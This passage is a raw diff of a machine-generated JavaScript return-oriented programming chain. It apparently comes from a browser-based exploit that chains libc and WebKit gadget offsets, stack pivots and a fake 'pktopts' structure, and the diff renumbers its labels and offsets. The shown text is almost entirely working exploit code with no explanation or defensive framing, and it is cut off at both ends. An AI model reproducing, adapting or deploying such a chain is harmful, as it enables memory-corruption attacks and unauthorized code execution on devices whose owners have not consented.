+//L6417: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6660: +//L6418: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48005,14 +47156,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+347880, //L6662 +ropchain+344056, //L6420 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6661: -db([4294965164, 4294967295]); // -0x854 +//L6419: +db([4294965168, 4294967295]); // -0x850 set_gadget(libc_base+788575,); //pop rax -//L6662: +//L6420: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -48023,8 +47174,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6664: -ropchain+347992, //L6663 +//L6422: +ropchain+344168, //L6421 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -48032,8 +47183,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+255640, //_fake_pktopts -//L6663: +ropchain+254528, //_fake_pktopts +//L6421: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -48041,44 +47192,44 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+348128, //L6666 +ropchain+344304, //L6424 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+348144, //L6667 +ropchain+344320, //L6425 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+348112, //L6665 +ropchain+344288, //L6423 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6665: +//L6423: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6666: +//L6424: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6667: +//L6425: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+348248, //L6670 +ropchain+344408, //L6426 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+348264, //L6671 +ropchain+344440, //L6429 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6668: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6670: +//L6426: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6427: +db([4294965164, 4294967295]); // -0x854 set_gadget(libc_base+206806,); //pop rdi -//L6671: +//L6429: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -48086,69 +47237,69 @@ webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L6672: -db([4294965160, 4294967295]); // -0x858 +//L6430: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+348408, //L6676 +ropchain+344584, //L6434 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+348392, //L6675 +ropchain+344568, //L6432 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6675: +//L6432: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6676: +//L6434: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+348576, //L6679 +ropchain+344752, //L6437 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+348592, //L6680 +ropchain+344768, //L6438 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+348544, //L6677 +ropchain+344736, //L6435 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+348560, //L6678 +ropchain+344720, //L6436 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6677: +//L6436: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6678: +//L6435: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6679: +//L6437: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6680: +//L6438: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+348688, //L6682 +ropchain+344864, //L6440 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+348672, //L6681 +ropchain+344848, //L6439 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6681: +//L6439: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6682: +//L6440: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48156,8 +47307,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6684: -ropchain+398184, //L6683 +//L6442: +ropchain+397984, //L6441 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -48165,8 +47316,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6686: -ropchain+348840, //L6685 +//L6444: +ropchain+345016, //L6443 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -48174,8 +47325,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6685: +ropchain+159840, //_printf_ +//L6443: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -48183,92 +47334,92 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+348928, //L6689 +ropchain+345088, //L6445 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6687: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6689: +//L6445: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6446: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+349032, //L6692 +ropchain+345208, //L6450 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+349016, //L6691 +ropchain+345192, //L6448 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6691: +//L6448: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6692: +//L6450: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+349200, //L6695 +ropchain+345376, //L6453 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+349216, //L6696 +ropchain+345392, //L6454 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+349168, //L6693 +ropchain+345360, //L6451 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+349184, //L6694 +ropchain+345344, //L6452 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6693: +//L6452: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6694: +//L6451: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6695: +//L6453: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6696: +//L6454: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+349288, //L6697 +ropchain+345464, //L6455 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+349304, //L6698 +ropchain+345480, //L6456 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6697: +//L6455: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6698: +//L6456: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+349400, //L6700 +ropchain+345576, //L6458 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+349384, //L6699 +ropchain+345560, //L6457 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6699: +//L6457: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6700: +//L6458: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48277,39 +47428,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+349480, //L6702 +ropchain+345656, //L6459 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6702: +//L6459: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6701: +//L6460: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6703: +//L6461: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+349616, //L6704 +ropchain+345792, //L6462 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+349648, //L6706 +ropchain+345824, //L6464 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+349632, //L6705 +ropchain+345808, //L6463 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6704: +//L6462: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6705: +//L6463: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6706: +//L6464: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -48322,104 +47473,104 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+349816, //L6708 +ropchain+345992, //L6466 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+349832, //L6709 +ropchain+346008, //L6467 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+349800, //L6707 +ropchain+345976, //L6465 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6707: +//L6465: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6708: +//L6466: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6709: +//L6467: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+349936, //L6712 +ropchain+346112, //L6470 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+349984, //L6714 +ropchain+346160, //L6472 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+349968, //L6713 +ropchain+346144, //L6471 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6712: +//L6470: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L6711: +//L6469: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6713: +//L6471: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6714: +//L6472: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+350096, //L6715+8 +ropchain+346272, //L6473+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+350088, //L6715 +ropchain+346264, //L6473 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L6715: +//L6473: db([0, 0]); // 0x0 set_gadgets([ -ropchain+350112, //L6715+24 -ropchain+350552, //L6710 +ropchain+346288, //L6473+24 +ropchain+346728, //L6468 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+350152, //L6717 +ropchain+346328, //L6474 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6717: +//L6474: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6716: +//L6475: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L6718: +//L6476: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+350288, //L6719 +ropchain+346464, //L6477 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+350320, //L6721 +ropchain+346496, //L6479 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+350304, //L6720 +ropchain+346480, //L6478 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6719: +//L6477: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6720: +//L6478: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6721: +//L6479: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -48429,17 +47580,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+350416, //L6722 +ropchain+346592, //L6480 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+350432, //L6723 +ropchain+346608, //L6481 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L6722: +//L6480: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6723: +//L6481: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -48449,55 +47600,92 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+350544, //L6724 +ropchain+346720, //L6482 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+350528, //L6725 +ropchain+346704, //L6483 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L6725: +//L6483: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L6724: +//L6482: db([0, 0]); // 0x0 -//L6710: +//L6468: set_gadgets([ +libc_base+793877, //pop rsi +ropchain+346768, //L6484 +webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L6484: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6485: +db([4294965192, 4294967295]); // -0x838 +set_gadgets([ +libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+350608, //L6727 +ropchain+346888, //L6489 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+346872, //L6487 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L6487: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6489: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+347032, //L6492 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+347000, //L6490 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+347016, //L6491 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L6726: -db([4294965208, 4294967295]); // -0x828 +//L6490: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L6491: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6727: +//L6492: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877 //pop rsi -]); +set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+350688, //L6728 +ropchain+347104, //L6493 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6728: +//L6493: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+350744, //L6731 +ropchain+347160, //L6495 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6731: +//L6495: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48505,102 +47693,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+350840, //L6734 +ropchain+347240, //L6497 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6732: -db([4294965160, 4294967295]); // -0x858 -set_gadget(libc_base+792472,); //pop rcx -//L6734: +//L6497: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6498: +db([4294965164, 4294967295]); // -0x854 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+350944, //L6737 +ropchain+347360, //L6502 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+350928, //L6736 +ropchain+347344, //L6500 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6736: +//L6500: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6737: +//L6502: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+351112, //L6740 +ropchain+347528, //L6505 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+351128, //L6741 +ropchain+347544, //L6506 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+351080, //L6738 +ropchain+347512, //L6503 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+351096, //L6739 +ropchain+347496, //L6504 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6738: +//L6504: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6739: +//L6503: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6740: +//L6505: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6741: +//L6506: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+351288, //L6745 +ropchain+347704, //L6510 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+351240, //L6742 +ropchain+347656, //L6508 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+351272, //L6744 +ropchain+347688, //L6509 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6742: +//L6508: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6743: +//L6507: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6744: +//L6509: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6745: +//L6510: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+351360, //L6746 +ropchain+347776, //L6511 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+351376, //L6747 +ropchain+347792, //L6512 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6746: +//L6511: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6747: +//L6512: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -48611,215 +47799,215 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+351464, //L6748 +ropchain+347880, //L6513 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6748: +//L6513: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+351520, //L6751 +ropchain+347936, //L6515 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6751: +//L6515: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+351656, //L6753 +ropchain+348072, //L6518 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+351672, //L6754 +ropchain+348088, //L6519 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+351640, //L6752 +ropchain+348056, //L6517 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6752: +//L6517: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6753: +//L6518: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6754: +//L6519: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+351840, //L6757 +ropchain+348256, //L6522 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+351856, //L6758 +ropchain+348272, //L6523 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+351808, //L6755 +ropchain+348240, //L6520 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+351824, //L6756 +ropchain+348224, //L6521 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6755: +//L6521: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6756: +//L6520: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6757: +//L6522: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6758: +//L6523: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+351928, //L6759 +ropchain+348344, //L6524 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+351944, //L6760 +ropchain+348360, //L6525 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6759: +//L6524: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6760: +//L6525: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+352016, //L6761 +ropchain+348432, //L6526 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+352032, //L6762 +ropchain+348448, //L6527 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6761: +//L6526: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6762: +//L6527: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+352136, //L6765 +ropchain+348536, //L6528 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+352152, //L6766 +ropchain+348568, //L6531 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6763: -db([4294965152, 4294967295]); // -0x860 -set_gadget(libc_base+792472,); //pop rcx -//L6765: +//L6528: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6529: +db([4294965156, 4294967295]); // -0x85c set_gadget(libc_base+206806,); //pop rdi -//L6766: +//L6531: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6767: -db([4294965152, 4294967295]); // -0x860 -set_gadget(libc_base+792472,); //pop rcx -//L6769: +//L6532: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6533: +db([4294965156, 4294967295]); // -0x85c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+352312, //L6772 +ropchain+348728, //L6537 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+352296, //L6771 +ropchain+348712, //L6535 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6771: +//L6535: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6772: +//L6537: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+352480, //L6775 +ropchain+348896, //L6540 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+352496, //L6776 +ropchain+348912, //L6541 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+352448, //L6773 +ropchain+348880, //L6538 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+352464, //L6774 +ropchain+348864, //L6539 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6773: +//L6539: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6774: +//L6538: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6775: +//L6540: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6776: +//L6541: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+352600, //L6779 +ropchain+349000, //L6542 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+352616, //L6780 +ropchain+349032, //L6545 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6777: -db([4294965144, 4294967295]); // -0x868 -set_gadget(libc_base+792472,); //pop rcx -//L6779: +//L6542: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6543: +db([4294965148, 4294967295]); // -0x864 set_gadget(libc_base+206806,); //pop rdi -//L6780: +//L6545: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+352688, //L6782 +ropchain+349088, //L6546 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L6781: +//L6546: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6782: +set_gadget(libc_base+788575,); //pop rax +//L6547: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -48828,7 +48016,7 @@ libc_base+248252, //sub 